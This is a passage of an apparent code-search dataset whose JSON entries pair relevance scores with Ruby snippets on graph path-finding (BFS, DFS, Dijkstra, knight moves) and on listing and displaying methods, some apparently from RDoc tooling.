path.is_a?(Symbol)\n # ensure that we track back to the 'add' node\n kind = node.revision.to_sym rescue :file # node with arch == \"delete\" has no node.revision (dir/file)\n backtrack_and_make_relevant(0, path.to_s, rev.version.to_i - 1, kind)\n end\n\n # backtrack Node-copyfrom (if exists)\n copypath, copyrev = node.copypathrev\n if copypath\n new_copyrev = backtrack_and_make_relevant(0, copypath, copyrev, node.revision.to_sym )\n node.replace_copyrev new_copyrev\n end\n path.to_s\n end", "title": "" }, { "docid": "7034f70962d1fd9260b80614d007d61e", "score": "0.5631535", "text": "def find_path(nodes)\n node_array = []\n\n nodes.each do |node|\n moves = move_piece(node.position)\n parent = node\n moves.each do |new_position|\n node = Node.new(new_position, parent)\n node_array.push(node)\n end\n end\n\n return if node_array.length == 0\n\n node_array.each do |node|\n if node.position == @target\n print \"\\nCongratulations! The knight has made it to the target. \\n\"\n print_path(node)\n break\n end\n end\n\n find_path(node_array)\n end", "title": "" }, { "docid": "58f28b4b1f5e5cf85b839c4772b88d2a", "score": "0.5610271", "text": "def trace_path_back(node)\n path_back = [node.value]\n node_parent = node.parent\n until node_parent == nil\n path_back << node_parent.value\n node_parent = node_parent.parent\n end\n path_back.reverse\n end", "title": "" }, { "docid": "854425ee2bcf18b65a9a6254b4c6dc09", "score": "0.55984336", "text": "def find_beginning_trail_from_node(node, previously_seen_nodes)\n onode = Bio::Velvet::Graph::OrientedNodeTrail::OrientedNode.new\n onode.node = node\n onode.first_side = Bio::Velvet::Graph::OrientedNodeTrail::END_IS_FIRST #go backwards first, because the path will later be reversed\n dummy_trail = Bio::Velvet::Graph::OrientedNodeTrail.new\n dummy_trail.trail = [onode]\n\n find_node_from_non_short_tip = lambda do |dummy_trail|\n # go all the way forwards\n path, visited_nodes = assemble_from(dummy_trail)\n\n # Remove already seen nodes from the end of the trail, because\n # they are already included in other paths and this shows\n # up as duplicated contig stretches and this is not correct\n log.debug \"Before removing already seen nodes the first time, path was #{path.length} nodes long\" if log.debug?\n remove_seen_nodes_from_end_of_path(path, previously_seen_nodes)\n log.debug \"After removing already seen nodes the first time, path was #{path.length} nodes long\" if log.debug?\n\n # reverse the path\n path.reverse!\n # peel back up we aren't in a short tip (these lost nodes might be\n # re-added later on)\n cannot_remove_any_more_nodes = false\n log.debug \"Before pruning back, trail is #{path.to_shorthand}\" if log.debug?\n is_tip, whatever = is_short_tip?(path[-1])\n while is_tip\n if path.length == 1\n cannot_remove_any_more_nodes = true\n break\n end\n path.delete_at(path.length-1)\n log.debug \"After pruning back, trail is now #{path.to_shorthand}\" if log.debug?\n is_tip, whatever = is_short_tip?(path[-1])\n end\n\n if cannot_remove_any_more_nodes\n nil\n else\n path\n end\n end\n\n log.debug \"Finding nearest find_connected_node_on_a_path #{node.node_id}\" if log.debug?\n if !is_short_tip?(onode)[0]\n log.debug \"fwd direction not a short tip, going with that\" if log.debug?\n path = find_node_from_non_short_tip.call(dummy_trail)\n if !path.nil?\n return path\n end\n end\n\n log.debug \"rev direction is short tip, now testing reverse\" if log.debug?\n onode.reverse!\n if is_short_tip?(onode)[0]\n log.debug \"short tip in both directions, there is no good neighbour\" if log.debug?\n #short tip in both directions, so not a real contig\n return nil\n else\n log.debug \"reverse direction not a short tip, going with that\" if log.debug?\n return find_node_from_non_short_tip.call(dummy_trail)\n end\n end", "title": "" }, { "docid": "81b8e523934d5d0cddb3b2d0e6866f2a", "score": "0.5589343", "text": "def find_path(root, target)\n parents = {}\n queue = []\n\n parents[root] = ROOT\n queue.push(root)\n until queue.empty?\n node = queue.shift\n return build_path(parents, node) if node == target\n\n @graph[node].each do |adj|\n next if parents[adj] # already visited\n\n parents[adj] = node\n queue.push(adj)\n end\n end\n\n nil # No path found\n end", "title": "" }, { "docid": "4c71dca8e484073a9c188a6d2d67a4dd", "score": "0.55880415", "text": "def print_path(dest)\n\t\tif @prev[dest] != -1\n\t\t\tprint_path @prev[dest]\n\t\tend\n\t\tprint \"\\n>#{dest}\"\n\tend", "title": "" }, { "docid": "1b583d92be706996b96daa3dd2d463e3", "score": "0.55818594", "text": "def shortest_path(start_node, end_node)\n queue = [start_node]\n pred = {}\n path = []\n @vertices.each do |vertex|\n pred[vertex] = nil\n end\n until queue.empty?\n current = queue.shift\n break if current == end_node\n\n current.neighbors.each do |neighbor|\n next if pred.values.include?(neighbor)\n queue.push(neighbor)\n pred[neighbor] = current\n end\n end\n until current == start_node\n path.unshift(current.data)\n current = pred[current]\n end\n path.unshift(start_node.data)\n path\n end", "title": "" }, { "docid": "1b1e60e21f8a73e24da255ba51b73c86", "score": "0.5576074", "text": "def shortest_path(bfs_info, start, stop)\n\tcurrent_vertex = bfs_info[stop]\n\torigin_vertex = bfs_info[start]\n\tpath = []\n\twhile current_vertex != origin_vertex\n\t\tpath.push(current_vertex)\n\t\tif current_vertex.predecessor.nil?\n\t\t\treturn path = nil\n\t\telse\n\t\t\tcurrent_vertex = bfs_info[current_vertex.predecessor]\t\n\t\tend\n\tend\n\t# Bring us to the origin itself\n\tpath.push(current_vertex)\n\tpath\nend", "title": "" }, { "docid": "c6883148dba15b3e71941db452d45536", "score": "0.55724347", "text": "def reachable?( src, dst, residual, path )\n queue = [src]\n path[src] = nil\n\n # Keep track of all visited nodes.\n visited = residual.each_index.map {|i| i == src}\n\n node = src\n while node\n # Traverse the graph breadth-first.\n residual.each_index do |i|\n next if visited[i] || 0 == residual[node][i]\n\n queue << i\n visited[i] = true\n path[i] = node\n end\n\n node = queue.shift\n end\n\n # Return true if we found a path from src to dst.\n visited[dst]\n end", "title": "" }, { "docid": "fd701a15406e98b70ea4f853de3d123d", "score": "0.5560972", "text": "def shortest_paths(source)\n find_shortest_paths(source)\n PathBuilder.new(source, @visitor.parents_map).paths(@graph.vertices)\n end", "title": "" }, { "docid": "0bda42dd8089e8759c5edf2956fe7083", "score": "0.5553929", "text": "def build_path!\n\t\treturn @nodes if searched_ended?\n\t\tmark_as_visited(@nodes.last.word)\n\t\[email protected]_neighbor(@words.subtract(@visited))\n\t\tmark_as_visited(@nodes.last.potential_neighbors)\t\t\n\t\tif @nodes.last.valid_neighbor?\n\t\t\t@nodes << @nodes.last.neighbor\n\t\telse\n\t\t\[email protected]\n\t\tend \n\t\tbuild_path!\n\tend", "title": "" }, { "docid": "1129b19a76ebb0855c07f76dbe181934", "score": "0.5548017", "text": "def dfs(starting_node, target_value, visited = Set.new())\n visited << starting_node\n return starting_node if starting_node.value == target_value\n\n starting_node.neighbors.each do |neighbor|\n if !visited.include?(neighbor)\n dfs(neighbor, target_value, visited)\n end\n end\n\n nil\nend", "title": "" }, { "docid": "ba0c23d8f024709a7ce5c4253f6f2fb0", "score": "0.55474716", "text": "def file_path_for_node(node)\n node.location.expression.source_buffer.name\n end", "title": "" }, { "docid": "24a7be04c69532548eb91eeb99a315f4", "score": "0.5543126", "text": "def links_to_source\n self.class.with_descendant_point(self.source)\n end", "title": "" }, { "docid": "cb7cd4d17d4f4e1b4ae88eb8eae13f6a", "score": "0.553725", "text": "def shortest_paths(s)\n @source = s\n dijkstra s\n puts \"Source: #{@source}\"\n @nodes.each do |dest|\n puts \"\\nTarget: #{dest}\"\n print_path dest\n if @d[dest] != @INFINITY\n puts \"\\nDistance: #{@d[dest]}\"\n else\n puts \"\\nNO PATH\"\n end\n end\n end", "title": "" } ]
d0349c014d0cafc8086c5db2162a6c05
Array of methods/parameters that should be displayed returns an Array of strings
[ { "docid": "c9d4bf9efded2d03a911918faaca3464", "score": "0.0", "text": "def display_fields\n [\"name\", \"assignment_name\", \"description\", \"where_stored\"]\n end", "title": "" } ]
[ { "docid": "403b6d77754177b303285dcbf57b82ae", "score": "0.6766479", "text": "def display_method_list(methods)\n page do\n puts \"More than one method matched your request. You can refine\"\n puts \"your search by asking for information on one of:\\n\\n\"\n @formatter.wrap(methods.map {|m| m.full_name} .join(\", \"))\n end\n end", "title": "" }, { "docid": "2ab573217a01ccab04d4388b7eb1033d", "score": "0.67599386", "text": "def display_method_list(methods)\n page do\n @formatter.raw_print_line(\"More than one method matched your request. You can refine\")\n @formatter.raw_print_line(\"your search by asking for information on one of:\\n\\n\")\n @formatter.wrap(methods.map {|m| m.full_name} .join(\", \"))\n end\n end", "title": "" }, { "docid": "546fd7f6f229c8600eaaa5cb422b32d9", "score": "0.6685106", "text": "def display_method_list(methods)\r\n nil\r\n end", "title": "" }, { "docid": "3ad5a6de772d19d4a62127dc64006888", "score": "0.64929855", "text": "def display_method_list(methods)\n page do\n @formatter.wrap \"More than one method matched your request. You can refine your search by asking for information on one of:\"\n @formatter.blankline\n\n methods.each do |method|\n @formatter.raw_print_line \"#{method.full_name} [#{method.source_path}]\\n\"\n end\n end\n end", "title": "" }, { "docid": "3d35c74ab515944fd6bf8bd77a6129c2", "score": "0.63159037", "text": "def repl_api_methods\n @pry_output.split(\"=>\")[8].gsub(/[\\[\\], :]/, '').split(\"\\n\").map{|m| m.to_sym}\n end", "title": "" }, { "docid": "44363b889d4afb2dc3b4807db3350907", "score": "0.62440413", "text": "def method_list(cls)\n list = cls.method_list\n unless @options.show_all\n list = list.find_all do |m|\n m.visibility == :public || m.visibility == :protected || m.force_documentation\n end\n end\n\n c = []\n i = []\n list.sort.each do |m|\n if m.singleton\n c << m\n else\n i << m\n end\n end\n return c,i\n end", "title": "" }, { "docid": "b0d64b7ad24900099aae3f1051011c02", "score": "0.6243863", "text": "def method_list(cls)\n list = cls.method_list\n unless @options.show_all\n list = list.find_all do |m|\n m.visibility == :public || m.visibility == :protected || m.force_documentation\n end\n end\n\n c = []\n i = []\n list.sort.each do |m|\n if m.singleton\n c << m\n else\n i << m\n end\n end\n return c,i\n end", "title": "" }, { "docid": "0b278cbf6d4a21a0f7908a7b1fe4c7bd", "score": "0.6223371", "text": "def methds\n []\n end", "title": "" }, { "docid": "0ffb56fc5bdbb335218f8d91ccdbeae9", "score": "0.61823976", "text": "def display_params(method)\n params = method.params\n\n if params[0,1] == \"(\" then\n if method.is_singleton\n params = method.full_name + params\n else\n params = method.name + params\n end\n end\n\n params.split(/\\n/).each do |param|\n @formatter.wrap param\n @formatter.break_to_newline\n end\n\n @formatter.blankline\n @formatter.wrap(\"From #{method.source_path}\")\n end", "title": "" }, { "docid": "9f217df6cb121749a59b0ba50d575b78", "score": "0.6125337", "text": "def print_methods\n m = \"----- #{self} (methods) -----\\n\"\n m << methods.sort.join(\"\\n\")\n puts m\n m\n end", "title": "" }, { "docid": "679b36bbe2e30e3b7548282c5b1d8c3f", "score": "0.61150557", "text": "def method_names()\n @method_details.collect( &:name )\n end", "title": "" }, { "docid": "8d2020470c0dcc9b004e96aafcca878e", "score": "0.60810274", "text": "def inspect\n map(&:inspect).join(',')\n end", "title": "" }, { "docid": "e93c75bd1641553526358cd55dae6188", "score": "0.6075848", "text": "def generate_method_list\n @items = prune_method_listing(Registry.all(:method), false)\n @items = @items.reject {|m| m.name.to_s =~ /=$/ && m.is_attribute? }\n @items = @items.sort_by {|m| m.name.to_s }\n @list_title = \"Method List\"\n @list_type = \"method\"\n generate_list_contents\nend", "title": "" }, { "docid": "77ded595f786c8444a1be6fa6d0134f7", "score": "0.6059061", "text": "def build_method_summary_list(path_prefix=\"\")\n collect_methods unless @methods\n meths = @methods.sort\n res = []\n meths.each do |meth|\n res << {\n \"name\" => CGI.escapeHTML(meth.name),\n \"aref\" => meth.aref,\n \"href\" => meth.path\n }\n end\n res\n end", "title": "" }, { "docid": "ad04c4e6f18398fbd634dc4003bfddca", "score": "0.60202986", "text": "def inspect\n \"[#{map(&:inspect).join(', ')}]\"\n end", "title": "" }, { "docid": "74eff5550306092238cdcc088f96573f", "score": "0.60110265", "text": "def generate_method_list\n @items = prune_method_listing(Registry.all(:method), false)\n @items = @items.reject { |m| m.name.to_s =~ /=$/ && m.is_attribute? }\n @items = @items.sort_by { |m| m.name.to_s }\n @list_title = 'Ruby Method List'\n @list_type = 'method'\n generate_list_contents\nend", "title": "" }, { "docid": "251118fd3ea6d65c52e25fb81999b7e9", "score": "0.59823513", "text": "def complete_method_list\n HtmlMethod.all_methods\n end", "title": "" }, { "docid": "c080454d49edd7845d1034dfc9647aed", "score": "0.5971487", "text": "def build_method_summary_list(path_prefix = \"\")\n collect_methods unless @methods\n\n @methods.sort.map do |meth|\n {\n :name => CGI.escapeHTML(meth.name),\n :aref => \"##{meth.aref}\"\n }\n end\n end", "title": "" }, { "docid": "894a151a7285de6b7a48b8377c9333c5", "score": "0.5938349", "text": "def method_list(collection, type=\"elements\", use=\"for show\", handler=\"def\")\n if collection.size>0\n r =\"<ul class='meth_list_helper'>\\n\"\n collection.each do |e|\n click_handler = (e.class==Array && handler != \"def\") ? \"click=\\\"#{e[1]}\\\"\" : \"\"\n n = (e.class==Array) ? e[0] : e\n parameters = (e.class==Array) ? e[1].to_a : []\n \n r += \"\\t <li>\\n\\t <span class='ui-triangle'></span><span>#{n.to_s}</span>\\n\"\n \n if use==\"runnable\"\n # Rb_Arr: [\"a\", \"b\"] ::to js func call => w_parameters(['a', 'b'])\n str = parameters.map{|e|e = %{'#{e}'}}.join(\", \")\n click_handler = %{click=\"w_parameters(this, [#{str}])\"} if parameters.size > 0 && handler == \"def\"\n name = (parameters.size > 0) ? \" name='modal' href='#dialog'\" : \"\"\n \n r += \"\\t <span class='value'><img src='/images/invoke.png' #{click_handler} class='runnable_method' alt=\\\"Invoke #{n} on #{$service[:full_name]}' title='Invoke #{n} on #{$service[:full_name]}\\\" /></span>\\n\"\n end\n \n r += \"\\t </li>\\n\"\n end\n \n return r+\"\\t</ul>\"\n else\n \"\\t<p class='no_list_elements'>No #{type}</p>\"\n end\n end", "title": "" }, { "docid": "0438a036ffef51fe1fe4344f098cdaaa", "score": "0.59140205", "text": "def help\n todolist_methods = TodoList.instance_methods(false).sort\n todolist_methods.each do |variable|\n puts \"----------------------\"\n puts \"Method: #{variable}; Parameters: #{TodoList.instance_method(variable).parameters.join(\", \")}\"\n end\n\n end", "title": "" }, { "docid": "23e8a01a3c5081fa92c78ed74b8935a3", "score": "0.5908587", "text": "def parameter_texts\n @applied_params.map(&:to_text)\n end", "title": "" }, { "docid": "61f3fae711e5c87fe9824fd24e861709", "score": "0.58786535", "text": "def inspect\n \"[#{map(&:inspect).join(\", \")}]\"\n end", "title": "" }, { "docid": "2b6ee233575be966b59ccc6b7d9fbf85", "score": "0.5877453", "text": "def caller_array; end", "title": "" }, { "docid": "6c60cd6722f40b438689258995e0c13c", "score": "0.58765775", "text": "def js_method_params(method)\n param_names = method['parameters'].map{ |p| p['name'] }\n return '' if param_names.empty?\n '(' + param_names.join(', ') + ')'\n end", "title": "" }, { "docid": "3af582472321032d67aa318d26fb31fe", "score": "0.5875397", "text": "def list_methods; MethodMission.all_methods; end", "title": "" }, { "docid": "3af582472321032d67aa318d26fb31fe", "score": "0.5875397", "text": "def list_methods; MethodMission.all_methods; end", "title": "" }, { "docid": "a444a10002830184ab71416993b315ea", "score": "0.58671427", "text": "def parameters\n modifier = \"\"\n args = \"\"\n @mod.each do |mod_st|\n modifier.concat(\"#{mod_st}, \")\n end\n\n @arg.each do |arg_st|\n args.concat(\"#{arg_st}, \")\n end\n\n outputstr =\n \"Validity:\\t#{@valid}\n Command:\\t#{@command}\n Method:\\t#{@method}\n Modifier Strings:\\t#{modifier}\n Arguments:\\t#{args}\"\n\n return outputstr\n end", "title": "" }, { "docid": "7de40576b9ed1b409d79867705229cac", "score": "0.5842958", "text": "def inspect\r\n vals = []\r\n (0...@_array_length).each {|ii| vals << self[ii].inspect}\r\n \"[#{vals.join(', ')}]\"\r\n end", "title": "" }, { "docid": "43cdb8597667c0bc387708a10376860e", "score": "0.58359224", "text": "def arguments\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # populate arguments\n possible_sections.each do |method_name|\n # get display name\n arg = OpenStudio::Ruleset::OSArgument.makeBoolArgument(method_name, true)\n display_name = eval(\"CTELib_Reporting.#{method_name}(nil,nil,nil,true)[:title]\")\n arg.setDisplayName(display_name)\n arg.setDefaultValue(true)\n args << arg\n end\n\n args\n end", "title": "" }, { "docid": "a8eae03984c63d726ccf35e2312c50be", "score": "0.58341974", "text": "def run\n (@options[:raw] ? @raw : @published).each do |method|\n ret = send(method)\n ret = ret.join(\"\\n\") if ret.kind_of?(Array)\n\n puts \"============\", method, \"============\"\n puts \"\",ret,\"\"\n end\n end", "title": "" }, { "docid": "2a95670b1d2edb7657f39737909fdad7", "score": "0.5826985", "text": "def sMethods(pObject)\n\tsean = Array.new\n\tsean = pObject.methods\n\tsean = sean.sort\n\tputs sean\nend", "title": "" }, { "docid": "0d19a69b1342734a6744fe23098f6525", "score": "0.58196914", "text": "def method_signature\n @parameters.map { |info| info.name == 'body' ? \"body = {}\" : Heroics.ruby_name(info.name) }.join(', ')\n end", "title": "" }, { "docid": "a9b15140e7337a059ce60036f97acdb2", "score": "0.5812141", "text": "def inspect\n \"<#{name} methods=(#{@zmethods.join(', ')})>\"\n end", "title": "" }, { "docid": "e9a69a85442dbc5c867b721771163684", "score": "0.5806149", "text": "def show\n @this_should_be_text_in_method = \"Text in method\"\n @this_is_array_in_method = [\"A\", \"B\", \"C\", \"D\"]\n @generator = Generator.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generator }\n end\n\n\n end", "title": "" }, { "docid": "c58c4c534cc263189e748a7bd60ea712", "score": "0.57884717", "text": "def invokable(attributes)\n attributes.map { |name, (type, _)| \"#{name}:#{type}\" }\n end", "title": "" }, { "docid": "c58c4c534cc263189e748a7bd60ea712", "score": "0.57884717", "text": "def invokable(attributes)\n attributes.map { |name, (type, _)| \"#{name}:#{type}\" }\n end", "title": "" }, { "docid": "a9798150c7706fbe20c9d72cbae64694", "score": "0.57430017", "text": "def index\n @std_methods = StdMethod.all\n end", "title": "" }, { "docid": "46320098fcde1f603669c2e0b80d4182", "score": "0.5729491", "text": "def arguments\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # populate arguments\n possible_sections.each do |method_name|\n # get display name\n arg = OpenStudio::Ruleset::OSArgument.makeBoolArgument(method_name, true)\n display_name = eval(\"OsLib_Reporting.#{method_name}(nil,nil,nil,true)[:title]\")\n arg.setDisplayName(display_name)\n arg.setDefaultValue(true)\n args << arg\n end\n\n args\n end", "title": "" }, { "docid": "46320098fcde1f603669c2e0b80d4182", "score": "0.5729491", "text": "def arguments\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # populate arguments\n possible_sections.each do |method_name|\n # get display name\n arg = OpenStudio::Ruleset::OSArgument.makeBoolArgument(method_name, true)\n display_name = eval(\"OsLib_Reporting.#{method_name}(nil,nil,nil,true)[:title]\")\n arg.setDisplayName(display_name)\n arg.setDefaultValue(true)\n args << arg\n end\n\n args\n end", "title": "" }, { "docid": "e1e4fe97b64265d2bd64fd83c6f28489", "score": "0.5725097", "text": "def return_array(array)\n\tputs array.inspect\nend", "title": "" }, { "docid": "6185e5c9280f09811016ffb32d5d8f5b", "score": "0.57122856", "text": "def display_class_method_list(klass)\n method_map = {}\n\n class_data = [\n :class_methods,\n :class_method_extensions,\n :instance_methods,\n :instance_method_extensions,\n ]\n\n class_data.each do |data_type|\n data = klass.send data_type\n\n unless data.nil? or data.empty? then\n @formatter.blankline\n\n heading = data_type.to_s.split('_').join(' ').capitalize << ':'\n @formatter.display_heading heading, 2, ''\n\n method_names = []\n data.each do |item|\n method_names << item.name\n\n if(data_type == :class_methods ||\n data_type == :class_method_extensions) then\n method_map[\"::#{item.name}\"] = :class\n method_map[item.name] = :class\n else\n #\n # Since we iterate over instance methods after class methods,\n # an instance method always will overwrite the unqualified\n # class method entry for a class method of the same name.\n #\n method_map[\"##{item.name}\"] = :instance\n method_map[item.name] = :instance\n end\n end\n method_names.sort!\n\n @formatter.wrap method_names.join(', ')\n end\n end\n\n method_map\n end", "title": "" }, { "docid": "4e65897a08871ed2f9f60aa7220e29dd", "score": "0.5705087", "text": "def parameter_names\n @parameters.map { |info| Heroics.ruby_name(info.name) }.join(', ')\n end", "title": "" }, { "docid": "55e16de2a3c3855757af3c61dbbf67d3", "score": "0.5695593", "text": "def print_actions\n actions = Array.new\n\n self.actions.each do |action|\n actions.push('who' => action.who, 'type' => action.type, 'amount' => action.amount)\n end\n\n return actions\n end", "title": "" }, { "docid": "1e18725eb2aab8107cdc763d228470a1", "score": "0.5692241", "text": "def procedures_list(add_dot = true)\n list = procedures.pluck(:name).join(', ')\n list += '.' if add_dot\n list\n end", "title": "" }, { "docid": "3292edbc682f43cb1d7d5193151863c8", "score": "0.5682166", "text": "def includes_param\n if @params[\"display\"]\n return @params[\"display\"].split(\",\").map {|e| e.to_sym}\n end\n Array.new\n end", "title": "" }, { "docid": "429a33ee373d3a531e420c78079f80f7", "score": "0.5674486", "text": "def format_design_methods(design_methods)\n\n end", "title": "" }, { "docid": "2b3bc55c6f634add6eae153636ec9c87", "score": "0.56733173", "text": "def action_methods\n actions = methods.inject([]){|a,m| a << m if m.match(/^show\\w+$/); a}\n actions.sort!\n end", "title": "" }, { "docid": "73e989e34e96db9da30c9b04dba652b9", "score": "0.56584406", "text": "def list_actions\n methods.sort.grep(/_command/).map{|x| x.to_s.gsub(\"_command\", \"\")}.join(\"|\")\n end", "title": "" }, { "docid": "75e6475c1905ad0eb5018a4eff9c8a01", "score": "0.5641107", "text": "def print_methods(obj, *options)\n methods = obj.methods\n methods -= Object.methods unless options.include? :more\n filter = options.select {|opt| opt.kind_of? Regexp}.first\n methods = methods.select {|name| name =~ filter} if filter\n\n data = methods.sort.collect do |name|\n method = obj.method(name)\n if method.arity == 0\n args = \"()\"\n elsif method.arity > 0\n n = method.arity\n args = \"(#{(1..n).collect {|i| \"arg#{i}\"}.join(\", \")})\"\n elsif method.arity < 0\n n = -method.arity\n args = \"(#{(1..n).collect {|i| \"arg#{i}\"}.join(\", \")}, ...)\"\n end\n klass = $1 if method.inspect =~ /Method: (.*?)#/\n [name, args, klass]\n end\n max_name = data.collect {|item| item[0].size}.max\n max_args = data.collect {|item| item[1].size}.max\n data.each do |item| \n print \" #{ANSI_BOLD}#{item[0].to_s.rjust(max_name)}#{ANSI_RESET}\"\n print \"#{ANSI_GRAY}#{item[1].ljust(max_args)}#{ANSI_RESET}\"\n print \" #{ANSI_LGRAY}#{item[2]}#{ANSI_RESET}\\n\"\n end\n data.size\n end", "title": "" }, { "docid": "3efbfe67abd516720feab25c63c89853", "score": "0.56378555", "text": "def parameters\n []\n end", "title": "" }, { "docid": "e1a79cd4294dd6eed8ce5b77c00282f7", "score": "0.56366754", "text": "def to_s\n \"[#{@method}#{@name.blank? ? '' : \" '#{@name}'\"}#{@params.empty? ? '' : \" #{@params.map{|k,v| \":#{k}=>#{v.inspect}\"}.join(', ')}\"}]\" + (@blocks||[]).join('') + \"[/#{@method}]\"\n end", "title": "" }, { "docid": "0e9078e41a7f60a86840ab66a7e04c2a", "score": "0.5633317", "text": "def print_method(*) end", "title": "" }, { "docid": "6abd4bdd5e3e3365277ac91315aaefe8", "score": "0.5631748", "text": "def verbose_output(method, const, arr)\n fake, message = faker_method(method, const)\n\n arr.push(crayon.dim.white(\"=> #{fake}\"))\n .push(crayon.dim.magenta.bold(message.to_s))\n end", "title": "" }, { "docid": "8f877bea72516250de212ac30d7d86ab", "score": "0.56157994", "text": "def ruby_parameters\n @parameters.collect do |param|\n next if param.respond_to?(\"value\")\n\n \", VALUE #{param.name}\"\n end.join\n end", "title": "" }, { "docid": "539c1ab56714e90e6b9e57ff3f255a1f", "score": "0.5611899", "text": "def report_method_stuff(requested_method_name, methods)\n if methods.size == 1\n method = @ri_reader.get_method(methods[0])\n @display.display_method_info(method)\n else\n entries = methods.find_all {|m| m.name == requested_method_name}\n if entries.size == 1\n method = @ri_reader.get_method(entries[0])\n @display.display_method_info(method)\n else\n @display.display_method_list(methods)\n end\n end\n end", "title": "" }, { "docid": "e6993f7e2e2cc6b625bdc99c2245d54e", "score": "0.56079423", "text": "def extract_method_content(str_array)\n @flogged_methods << [str_array[1], str_array[0].strip.to_f]\n end", "title": "" }, { "docid": "4546ddff73178a50fd5845e935e0732f", "score": "0.560724", "text": "def methods\n decs = \"\"\n @parser.methods.each_pair { |name,method|\n decs << @mixer.method(name, method[:arguments], method[:return])\n }\n decs\n end", "title": "" }, { "docid": "182136e9016ba42dcd4c6040f4a4d69b", "score": "0.5602403", "text": "def encapsulate tlines\n\t\ta = []\n\t\ta.push \"\\tclass \"+classname\n\t\ta.push \"\\tinclude CfrubyRuntime\"\n\t\ta.push \"\\t\\tdef \"+methodname+\"(#{@args.join(',')})\"\n\t\ttlines.each do | line |\n\t\t\ta.push \"\\t\\t\\t\"+line\n\t\tend\n\t\ta.push \"\\t\\tend\"\n\t\ta.push \"\\tend\"\n\t\ta\n\tend", "title": "" }, { "docid": "b4da1c4bb1a2587d134b0bd29e01a158", "score": "0.56000596", "text": "def generate_names(methods)\n str = \"const char *rubinius::InstructionSequence::get_instruction_name(int op) {\\n\"\n str << \"static const char instruction_names[] = {\\n\"\n methods.each do |impl|\n str << \" \\\"op_#{impl.name.opcode.to_s}\\\\0\\\"\\n\"\n end\n str << \"};\\n\\n\"\n offset = 0\n str << \"static const unsigned int instruction_name_offsets[] = {\\n\"\n methods.each_with_index do |impl, index|\n str << \",\\n\" if index > 0\n str << \" #{offset}\"\n offset += impl.name.opcode.to_s.length + 4\n end\n str << \"\\n};\\n\\n\"\n str << <<CODE\n return instruction_names + instruction_name_offsets[op];\n}\nCODE\n end", "title": "" }, { "docid": "ef35799d7457bd33ce5cbe5222702cc5", "score": "0.5598975", "text": "def return_o (beverages_array)\n #write out the desired return\n puts \"'coffee' , 'soda water'\"\nend", "title": "" }, { "docid": "61bb42334baa49d3591676a62552647d", "score": "0.5581337", "text": "def parameter_names_string\n @parameters.map { |info| info.name }.join(', ')\n end", "title": "" }, { "docid": "443b14022a289f54f7175a8a3d347215", "score": "0.55806965", "text": "def description\n $results.log(\"#### Description: \" + @params.join(' ') + \" ####\")\n end", "title": "" }, { "docid": "8e75dbcb6954a26fea90e297760bdaaa", "score": "0.55744714", "text": "def show\n \"#{@name} #{arguments.map{|a| yield a} * \" \"}\".fmt\n end", "title": "" }, { "docid": "b4920b93d3710d686458664e2dd670d5", "score": "0.55688626", "text": "def srd(method)\n method.source.display\nend", "title": "" }, { "docid": "0b9cb920bcf351f84977f5b42d5dda21", "score": "0.5564345", "text": "def to_displayable_list\n # @todos.each {|item| item.to_displayable_string}\n #@todos.keys.each{|item| item.to_displayable_string}\n #@todos.each{|item| item.to_displayable_string}\n ####\"#{@todos}.#{to_displayable_string}\"\n @todos.map{|item| item.to_displayable_string}\n #\"#{@todos}.#{@each{}#{to_displayable_string}\"\n end", "title": "" }, { "docid": "8e4c5a0585731e1a3dc0bbbace5cafc8", "score": "0.5558299", "text": "def to_s\n\t\tvalue = @method.to_s.match(/,*#(.*)</) + \"(\"\n\t\treturn @object.to_s + \".\" + @value + \")\" if @arguments.length == 0\n\n\t\tvalue += @arguments[0].to_s\n\t\t([email protected]).each |i|\n\t\t\tvalue += \", \" + @arguments[i]\n\t\tend", "title": "" }, { "docid": "6443721b7875baf6d3202e7c9bfafdd1", "score": "0.55548525", "text": "def index\n @admin_ruby_name_method_full_descriptions = Admin::RubyNameMethodFullDescription.all\n end", "title": "" }, { "docid": "a500ecd2673b49aa4934875ba17ab137", "score": "0.5554835", "text": "def display_method_list_choice(methods)\n page do\n @formatter.wrap \"More than one method matched your request. Please choose one of the possible matches.\"\n @formatter.blankline\n\n methods.each_with_index do |method, index|\n @formatter.raw_print_line \"%3d %s [%s]\\n\" % [index + 1, method.full_name, method.source_path]\n end\n\n @formatter.raw_print_line \">> \"\n\n choice = $stdin.gets.strip!\n\n if(choice == '')\n return\n end\n\n choice = choice.to_i\n\n if ((choice == 0) || (choice > methods.size)) then\n @formatter.raw_print_line \"Invalid choice!\\n\"\n else\n method = methods[choice - 1]\n display_method_info(method)\n end\n end\n end", "title": "" }, { "docid": "62c2f8eb453238b6b3fc5ffd59af942d", "score": "0.5550801", "text": "def format_methods(methods)\n methods.sort_by(&:name).map do |method|\n if method.name == 'method_missing'\n color(:method_missing, 'method_missing')\n elsif method.visibility == :private\n color(:private_method, method.name)\n elsif method.visibility == :protected\n color(:protected_method, method.name)\n else\n color(:public_method, method.name)\n end\n end\n end", "title": "" }, { "docid": "c4cbe48255a7b6122f562814bbf436be", "score": "0.5546806", "text": "def aruba_methods\n ms = (Aruba::Api.instance_methods - Module.instance_methods)\n .each_with_object([]) { |e, a| a << format(\"* %s\", e) }\n .sort\n\n puts \"Available Methods:\\n#{ms.join(\"\\n\")}\"\n\n nil\n end", "title": "" }, { "docid": "c98b833e10adc2d2f91c90880928bc7a", "score": "0.55308187", "text": "def show_methods(expected_result, opts = {}, *args, &block) # :doc:\n @args = args unless args.empty?\n MethodFinder.show(self, expected_result, opts, *@args, &block)\n end", "title": "" }, { "docid": "b1d19ddf6779e0e48db674a218a23c5a", "score": "0.5518125", "text": "def args\n return @args.to_s if @mode == :array\n\n @args.join(' ')\n end", "title": "" }, { "docid": "69ac0a5c1af76a6c29199366a61f2233", "score": "0.5517771", "text": "def build_method_detail_list(section)\n outer = []\n\n methods = @methods.sort\n for singleton in [true, false]\n for vis in [ :public, :protected, :private ] \n res = []\n methods.each do |m|\n if m.section == section and\n m.document_self and \n m.visibility == vis and \n m.singleton == singleton\n row = {}\n if m.call_seq\n row[\"callseq\"] = m.call_seq.gsub(/->/, '&rarr;')\n else\n row[\"name\"] = CGI.escapeHTML(m.name)\n row[\"params\"] = m.params\n end\n desc = m.description.strip\n row[\"m_desc\"] = desc unless desc.empty?\n row[\"aref\"] = m.aref\n row[\"href\"] = 